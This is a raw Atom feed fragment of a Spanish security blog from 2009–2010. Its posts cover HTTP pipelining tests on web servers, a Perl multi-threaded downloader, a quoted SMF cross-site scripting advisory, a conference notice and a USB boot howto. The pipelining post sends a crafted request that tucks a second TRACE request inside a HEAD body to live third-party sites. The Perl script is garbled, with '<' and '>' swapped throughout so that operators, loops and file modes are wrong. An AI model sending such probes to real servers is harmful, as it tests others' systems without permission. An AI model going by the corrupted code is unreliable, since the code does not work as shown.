Soportado y activado por default&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Vamos a hacer unas pruebas (con www.microsoft.com):&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;HEAD / HTTP/1.1&lt;br /&gt;Host: www.microsoft.com&lt;br /&gt;Content-Length: 40&lt;br /&gt;&lt;br /&gt;TRACE / HTTP/1.1&lt;br /&gt;Host: www.microsoft.com&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Resultado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre name="code" class="php:nocontrols"&gt;HTTP/1.1 200 OK&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;Content-Length: 1020&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Last-Modified: Mon, 16 Mar 2009 20:35:26 GMT&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;ETag: "67991fbd76a6c91:0"&lt;br /&gt;Server: Microsoft-IIS/7.5&lt;br /&gt;VTag: 279999051900000000&lt;br /&gt;P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;Date: Wed, 03 Feb 2010 19:29:13 GMT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Conclusion:&lt;/span&gt;&lt;br /&gt;La misma que con apache...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Servidor Web: Cherokee Web Server/&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;0.99.39&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Open-Source: Si&lt;br /&gt;Programado en: C&lt;br /&gt;HTTP Pipelining: Soportado y activado por default&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;GET / HTTP/1.1&lt;br /&gt;Host: www.cherokee-project.com&lt;br /&gt;Content-Length: 51&lt;br /&gt;&lt;br /&gt;HEAD / HTTP/1.1&lt;br /&gt;Host: www.cherokee-project.com&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Resultado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="php:nocontrols"&gt;HTTP/1.1 200 OK&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Keep-Alive: timeout=60&lt;br /&gt;Date: Wed, 03 Feb 2010 19:42:47 GMT&lt;br /&gt;Server: Cherokee/0.99&lt;br /&gt;ETag: 4b61ed6d=219b&lt;br /&gt;Last-Modified: Thu, 28 Jan 2010 20:02:53 GMT&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 8603&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Keep-Alive: timeout=60&lt;br /&gt;Date: Wed, 03 Feb 2010 19:42:47 GMT&lt;br /&gt;Server: Cherokee/0.99&lt;br /&gt;ETag: 4b61ed6d=219b&lt;br /&gt;Last-Modified: Thu, 28 Jan 2010 20:02:53 GMT&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 8603&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Conclusion:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cherokee si respeta el metodo antes de leer las cabeceras, por lo cual pierde menos tiempo procesando lo inutil.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Cherokee Win!&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.cherokee-project.com/static/indiankid.png"&gt;&lt;img style="width: 141px; height: 165px;" src="http://www.cherokee-project.com/static/indiankid.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3921567216781866565?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3921567216781866565/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3921567216781866565' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3921567216781866565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3921567216781866565'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/02/analizando-implementacion-del-http-en.html' title='Analizando implementacion del HTTP en Servidores Web'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3054395579194067755</id><published>2010-01-30T15:15:00.000-08:00</published><updated>2010-01-30T18:23:49.264-08:00</updated><title type='text'>Perl Downloader</title><content type='html'>Que se puede decir, despues de un tiempo, de nuevo publicando por aqui xD...&lt;br /&gt;&lt;br /&gt;Este script es un downloader, descarga el archivo especificado por trosos (usando la cabecera HTTP "Range" y empleando multiples threads para aprovechar mejor la banda).&lt;br /&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;pre style="overflow: auto; width: 550px; height: 300px;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;pre name="code" class="php"&gt;  &lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# By Xianur0&lt;br /&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;use threads;&lt;br /&gt;&lt;br /&gt;$url = $ARGV[0];&lt;br /&gt;$destino = $ARGV[1];&lt;br /&gt;$hilos = $ARGV[2];&lt;br /&gt;die("Uso: downloader.pl [url] [archivo salida] [hilos]\r\n") if($hilos eq "");&lt;br /&gt;if($url =~ /^(.*?):\/\/(.*)/) {&lt;br /&gt;($scheme,$server) = ($url =~ /^(.*?):\/\/(.*)$/)&lt;br /&gt;} if($url =~ /^(.*?):\/\/(.*?)\/(.*)/) {&lt;br /&gt;($scheme,$server,$path) = ($url =~ /^(.*?):\/\/(.*?)\/(.*)/);&lt;br /&gt;} if($scheme eq "" &amp;amp;&amp;amp; $server eq "" &amp;amp;&amp;amp; $path eq "") {&lt;br /&gt;die("[x] URL Invalida!\r\n");&lt;br /&gt;}&lt;br /&gt;die("[x] Protocolo ".$scheme." no soportado!\r\n") if($scheme !~ /^(http)$/);&lt;br /&gt;if($server =~ /(.*?):([\d]*)/) {&lt;br /&gt;($server,$puerto) = ($server =~ /(.*?):([\d]*)/);&lt;br /&gt;}&lt;br /&gt;else { $puerto = 80; }&lt;br /&gt;$path =~ s/^\///;&lt;br /&gt;$path =~ s/\s/%20/g;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub bajar {&lt;br /&gt;@parametros = @_;&lt;br /&gt;$server = $parametros[0];&lt;br /&gt;$puerto = $parametros[1];&lt;br /&gt;$path = $parametros[2];&lt;br /&gt;$min = $parametros[3];&lt;br /&gt;$max = $parametros[4];&lt;br /&gt;$destino = $parametros[5];&lt;br /&gt;my $sock = new IO::Socket::INET (PeerAddr =&amp;lt; $server, PeerPort =&amp;lt; $puerto, Proto =&amp;lt; 'tcp', );&lt;br /&gt;if($sock) {&lt;br /&gt;$lcabeceras = "";&lt;br /&gt;$salida = "";&lt;br /&gt;$bytes = $min."-".$max;&lt;br /&gt;$paquete = "GET /".$path." HTTP/1.1\r\nHost: ".$server.":".$puerto."\r\nRange: bytes=".$bytes."\r\nConnection: close\r\n\r\n";&lt;br /&gt;print $sock $paquete;&lt;br /&gt;while(&amp;gt;$sock&amp;lt;) {&lt;br /&gt;$salida .= $_;&lt;br /&gt;}&lt;br /&gt;@lineas = split(/\r?\n\r?\n/,$salida);&lt;br /&gt;$key = 0;&lt;br /&gt;$contenido = "";&lt;br /&gt;foreach $troso (@lineas) {&lt;br /&gt;$contenido .= $troso if($key != 0);&lt;br /&gt;$key++;&lt;br /&gt;}&lt;br /&gt;open FILE,"&amp;lt;".$destino;&lt;br /&gt;binmode FILE;&lt;br /&gt;print FILE $contenido;&lt;br /&gt;} else {&lt;br /&gt;die("[x] URL Invalida!\r\n");&lt;br /&gt;}&lt;br /&gt;close(FILE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;my $sock = new IO::Socket::INET (PeerAddr =&amp;lt; $server, PeerPort =&amp;lt; $puerto, Proto =&amp;lt; 'tcp', );&lt;br /&gt;if($sock) {&lt;br /&gt;$salida = "";&lt;br /&gt;$paquete = "HEAD /".$path." HTTP/1.1\r\nHost: ".$server.":".$puerto."\r\nConnection: close\r\n\r\n";&lt;br /&gt;print $sock $paquete;&lt;br /&gt;while(&amp;gt;$sock&amp;lt;) {&lt;br /&gt;$salida .= $_;&lt;br /&gt;}&lt;br /&gt;@cabeceras = split(/\r?\n/,$salida);&lt;br /&gt;foreach(@cabeceras) {&lt;br /&gt;($nombre,$valor) = ($_ =~ /^(.*?):\s(.*)/);&lt;br /&gt;$lcabeceras{$nombre} = $valor;&lt;br /&gt;}&lt;br /&gt;$maximo = $lcabeceras{"Content-Length"};&lt;br /&gt;die("[x] No se puede determinar el tamaño del archivo!\n") if($maximo eq "");&lt;br /&gt;close($sock);&lt;br /&gt;&lt;br /&gt;$porthread = $maximo/$hilos;&lt;br /&gt;&lt;br /&gt;print "[-] Desplegando ".$hilos." hilos (".$porthread." Bytes c/u)...\n";&lt;br /&gt;$min = 0;&lt;br /&gt;($enteros, $restoa) = ($porthread =~ /^(.*?)\.(.*)/);&lt;br /&gt;$enteros = $porthread if($enteros eq "");&lt;br /&gt;$max = $enteros;&lt;br /&gt;$porthread = $enteros;&lt;br /&gt;$totalactuales = 0;&lt;br /&gt;for($v=0;$v&amp;gt;$hilos;$v++) {&lt;br /&gt;# $min -= 1;&lt;br /&gt;# $max -= 1;&lt;br /&gt;$destinoa = $destino."[".$v."]";&lt;br /&gt;$totalactuales = $max;&lt;br /&gt;print "Max: ".$min."-".$max."\n";&lt;br /&gt;$thr[$v] = threads-&amp;lt;create('bajar', ($server,$puerto,$path,$min,$max,$destinoa));&lt;br /&gt;$min += $porthread;&lt;br /&gt;$max += $porthread;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$resto = $maximo - $totalactuales;&lt;br /&gt;if($resto &amp;lt; 0) {&lt;br /&gt;print "[x] Desplegando un hilo extra...\n";&lt;br /&gt;$destinoa = $destino."[".$hilos."]";&lt;br /&gt;print "Max: ".$totalactuales."-".$maximo."\n";&lt;br /&gt;$thr[$hilos] = threads-&amp;lt;create('bajar', ($server,$puerto,$path,$totalactuales,$maximo,$destinoa));&lt;br /&gt;$hilos += 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "[-] Desplegados!\n";&lt;br /&gt;open FINAL,"+&amp;lt;".$destino;&lt;br /&gt;for($v=0;$v&amp;gt;$hilos;$v++) {&lt;br /&gt;if ($thr[$v]-&amp;lt;is_running()) {&lt;br /&gt;sleep(2);&lt;br /&gt;$v--;&lt;br /&gt;} else {&lt;br /&gt;$destinoa = $destino."[".$v."]";&lt;br /&gt;open LECTOR, "&amp;gt;".$destinoa;&lt;br /&gt;binmode LECTOR;&lt;br /&gt;$parte = "";&lt;br /&gt;while(&amp;gt;LECTOR&amp;lt;) {&lt;br /&gt;$parte .= $_;&lt;br /&gt;}&lt;br /&gt;close LECTOR;&lt;br /&gt;binmode FINAL;&lt;br /&gt;print FINAL $parte;&lt;br /&gt;$vv = $v+1;&lt;br /&gt;print "[-] Parte ".$vv." finalizada!\n";&lt;br /&gt;print "No se pudo borrar el Archivo: ".$destinoa."\n" if(!unlink($destinoa));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close FINAL;&lt;br /&gt;print "[-] Archivo descargado a: ".$destino."\n";&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3054395579194067755?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3054395579194067755/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3054395579194067755' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3054395579194067755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3054395579194067755'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/01/perl-downloader.html' title='Perl Downloader'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1264476241993476154</id><published>2010-01-29T12:17:00.000-08:00</published><updated>2010-01-29T12:23:15.409-08:00</updated><title type='text'>X.25 Security Conferences " First Conferences Ethical Hacking 2010</title><content type='html'>&lt;p class="Estilo1" align="justify"&gt;El &lt;a target="_blank" title="ccat.edu.mx" href="http://ccat.edu.mx/"&gt;Centro de Estudios Superiores en Alta tecnología&lt;/a&gt; en coordinación con &lt;a target="_blank" title="Asociación Latinoamericana de Profesionales en Seguridad Informática" href="http://www.alapsi.org/"&gt;la Asociación Latinoamericana de Especialistas en Seguridad Informática (ALAPSI)&lt;/a&gt;  a través del CCAT Research Labs, organizan el primer:&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://x25sec.ccat.edu.mx/header1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 318px; height: 88px;" src="http://x25sec.ccat.edu.mx/header1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class="Estilo1" align="center"&gt;"&lt;strong&gt;X.25 Ethical Hacking Conferences&lt;/strong&gt;"&lt;/p&gt;   &lt;p class="Estilo1" align="justify"&gt;Uno de los principales eventos en Latinoamérica relacionado con la seguridad informática.&lt;/p&gt;   &lt;p class="Estilo1" align="justify"&gt;El "&lt;strong&gt;X.25 Ethical Hacking Conferences" &lt;/strong&gt;permitirá reunir a investigadores reconocidos a nivel nacional y mundial quienes compartirán las nuevas tendencias de la seguridad informática a un &lt;em&gt;nivel totalmente técnico &lt;/em&gt;quienes son  provenientes de una gran variedad de universidades e instituciones de educación superior, organizaciones comerciales del sector público y privado e investigadores que por su propia cuenta han hecho descubrimientos en cuestión de seguridad informática se refiere.&lt;/p&gt;   &lt;p class="Estilo1" align="justify"&gt;&lt;strong&gt;Este evento se dividirá en dos etapas:&lt;/strong&gt; los talleres de Especialización enfocados a capacitar en las principales áreas de Seguridad Informática, y el ciclo de Conferencias impartidas por reconocidos expertos que serán invitados a este magno evento para compartir sus últimas investigaciones y experiencias en el área.&lt;/p&gt;   &lt;p class="Estilo1" align="justify"&gt;Las Conferencias y los talleres de Seguridad Informática se llevarán a cabo del &lt;/p&gt;   &lt;p class="Estilo2" align="center"&gt;&lt;strong&gt;22 al 23 de Octubre del 2010&lt;/strong&gt;.&lt;/p&gt;&lt;p class="Estilo2" align="center"&gt;&lt;strong&gt;Para mayores informes:&lt;/strong&gt; &lt;a href="http://x25sec.ccat.edu.mx/" target="_blank"&gt;&lt;strong&gt;x.25sec&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1264476241993476154?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1264476241993476154/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1264476241993476154' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1264476241993476154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1264476241993476154'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2010/01/el-centro-de-estudios-superiores-en.html' title='X.25 Security Conferences &quot; First Conferences Ethical Hacking 2010'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-4212270605446967027</id><published>2009-07-03T16:26:00.000-07:00</published><updated>2009-07-05T10:50:56.255-07:00</updated><title type='text'>Howto: 2 distros en una USB</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Me surgio un problema:&lt;/span&gt; tengo 1 notebook a la cual no le puedo instalar ninguna distro por la garantia xD... pero tengo 1 usb, entonces le instale wifislax, despues quiero correr mi pentest, pero wifislax no tiene las librerias que quiero, ademas de que quiero usar algunas tools del bactrack, entonces pense, por que no instalar 2 distros en una USB?&lt;br /&gt;&lt;br /&gt;Primero, necesitamos bajar los isos de las 2 distros (Versiones LiveUSB) que vamos a instalar, los descomprimimos y copeamos la carpeta del sistema (cuando descomprimen el iso hay 2 carpetas, una la boot y otra la que contiene los archivos de la distro), en mi caso instale wifislax y backtrack y copie las carpetas BT3 (del backtrack) y wifislax (de wifislax obviamente xD) a mi USB, y despues copie la carpeta boot del backtrack.&lt;br /&gt;&lt;br /&gt;Renombramos el i&lt;span style="font-weight: bold;"&gt;nitrd.gz&lt;/span&gt; a &lt;span style="font-weight: bold;"&gt;initrd2.gz&lt;/span&gt; al igual con&lt;span style="font-weight: bold;"&gt; vmlinuz&lt;/span&gt; a &lt;span style="font-weight: bold;"&gt;vmlinuz2&lt;/span&gt; del wifislax, y los copie dentro de la carpeta boot del backtrack que esta en mi USB.&lt;br /&gt;&lt;br /&gt;Despues entramos a:&lt;span style="font-weight: bold;"&gt; /boot/syslinux&lt;/span&gt;&lt;br /&gt;y editamos el archivo: &lt;span style="font-weight: bold;"&gt;syslinux.cfg&lt;/span&gt;, para agregar la referencia del wifislax:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Debajo de:&lt;/span&gt;&lt;br /&gt;PROMPT 0&lt;br /&gt;TIMEOUT 40&lt;br /&gt;DEFAULT /boot/vesamenu.c32&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Colocamos:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;LABEL wifislax&lt;br /&gt;MENU Wifislax&lt;br /&gt;KERNEL /boot/vmlinuz2&lt;br /&gt;APPEND vga=0x317 initrd=/boot/initrd2.gz ramdisk_size=6666 root=/dev/ram0 rw chexpand=256 load=cubez autoexec=xconf;cubez;startx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y guardamos, ahora tenemos que hacer booteable la USB, en caso de que se haga en linux tenemos que ejecutar el archivo: &lt;span style="font-weight: bold;"&gt;bootinst.sh&lt;/span&gt;&lt;br /&gt;dentro de la carpeta boot en nuestra USB.&lt;br /&gt;en windows tenemos que ejecutar: &lt;span style="font-weight: bold;"&gt;bootinst.bat&lt;/span&gt;, que se encuentra en la misma carpeta, y listo, ya tenemos backtrack y wifislax en la usb :)...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-4212270605446967027?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/4212270605446967027/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=4212270605446967027' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4212270605446967027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/4212270605446967027'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/07/how-to-2-distros-en-una-usb.html' title='Howto: 2 distros en una USB'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2155023381713682418</id><published>2009-06-12T10:37:00.001-07:00</published><updated>2009-12-17T08:29:03.621-08:00</updated><title type='text'>Somos una razon del SMF 1.1.9 xD</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Bueno gente... estaba navegando por ahi en internet y me tope con esto:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.simplemachines.org/community/index.php?topic=312445.0"&gt;http://www.simplemachines.org/community/index.php?topic=312445.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Miren:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Berkaitan dengan sering di-hack atau diserangnya situs2 forum berbasis SMF akhir ini... segera lakukan update/ugrade.&lt;br /&gt;&lt;br /&gt;Info masalah keamanan:&lt;br /&gt;&lt;b&gt;Simple Machines Forum "packages.xml" Cross-Site Scripting&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;blockquote&gt;&lt;b&gt;Description&lt;/b&gt;:&lt;br /&gt;Xianur0 has discovered a vulnerability in Simple Machines Forum, which can be exploited by malicious people to conduct cross-site scripting attacks.&lt;br /&gt;&lt;br /&gt; Input read from the "text" and "description" elements in a "packages.xml" file (e.g. when "action" is set to "packageget", "sa" is set to "browse", and "absolute" is set to the web address serving the malicious "packages.xml" file) is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in an administrative user's browser session in the context of an affected site.&lt;br /&gt;&lt;br /&gt; This vulnerability is confirmed in version 1.1.7 and 1.1.8. Other versions may also be affected.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Solution&lt;/b&gt;:&lt;br /&gt;Edit the source code to ensure that input is properly sanitised.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Provided and/or discovered by&lt;/b&gt;:&lt;br /&gt;Xianur0&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Changelog&lt;/b&gt;:&lt;br /&gt;2009-02-05: Updated "Description" section with additional version information.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código: &lt;a href="javascript:void(0);" onclick="return smfSelectText(this);" class="codeoperation"&gt;[Seleccionar]&lt;/a&gt;&lt;/div&gt;&lt;code&gt;http://secunia.com/advisories/33670/&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2155023381713682418?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2155023381713682418/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2155023381713682418' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2155023381713682418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2155023381713682418'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/06/somos-una-razon-del-smf-119-xd.html' title='Somos una razon del SMF 1.1.9 xD'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3338068876275506717</id><published>2009-05-30T11:04:00.000-07:00</published><updated>2009-05-30T11:08:39.708-07:00</updated><title type='text'>Diplomado en especialista en programacion Perl, PHP y Python</title><content type='html'>&lt;span style="font-weight: bold;"&gt;El motivo de este post, es invitar a los lectores a asistir al diplomado &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;(presencial) &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;que estare dando en la ciudad de Coatepec, Veracruz.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mas informacion:&lt;/span&gt; &lt;a href="http://www.ccat.edu.mx/progra.html"&gt;http://www.ccat.edu.mx/progra.html&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="mailto:uxmal666@gmail.com"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3338068876275506717?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3338068876275506717/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3338068876275506717' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3338068876275506717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3338068876275506717'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/05/diplomado-en-especialista-en.html' title='Diplomado en especialista en programacion Perl, PHP y Python'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3593020870515080828</id><published>2009-05-18T15:25:00.000-07:00</published><updated>2009-05-18T15:55:14.939-07:00</updated><title type='text'>V4ndid4 se presenta</title><content type='html'>Nick: V4ndid4&lt;br /&gt;Intereses: Seguridad informatica, programacion y software libre.&lt;br /&gt;&lt;br /&gt;Es un placer poder publicar aqui, en el blog de Xianuro, una persona muy especial para mi.&lt;br /&gt;No tengo mucho que decir solo espero poder ayudar con mis conocimientos, aunque sea minimamente, a la gente interezada en aprender sobre este mundo tan complejo y fascinante.&lt;br /&gt;&lt;br /&gt;Gracias Xianur0 por dejarme estar aquí, siempre estare para lo que necesites.&lt;br /&gt;&lt;br /&gt;Saludos...&lt;br /&gt;                     &lt;br /&gt; V4ndid4&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3593020870515080828?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3593020870515080828/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3593020870515080828' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3593020870515080828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3593020870515080828'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/05/v4ndid4-se-presenta.html' title='V4ndid4 se presenta'/><author><name>V4ndid4</name><uri>http://www.blogger.com/profile/15045295859830311538</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7323080644273949506</id><published>2009-05-07T09:27:00.000-07:00</published><updated>2010-01-30T18:27:35.893-08:00</updated><title type='text'>FlashCodeAnalytic</title><content type='html'>&lt;div class="post" id="msg_207"&gt;&lt;b&gt;Basado en Flare para decompilar:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;pre style="overflow: auto; width: 600px; height: 210px;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span id="fullpost"&gt;&lt;br 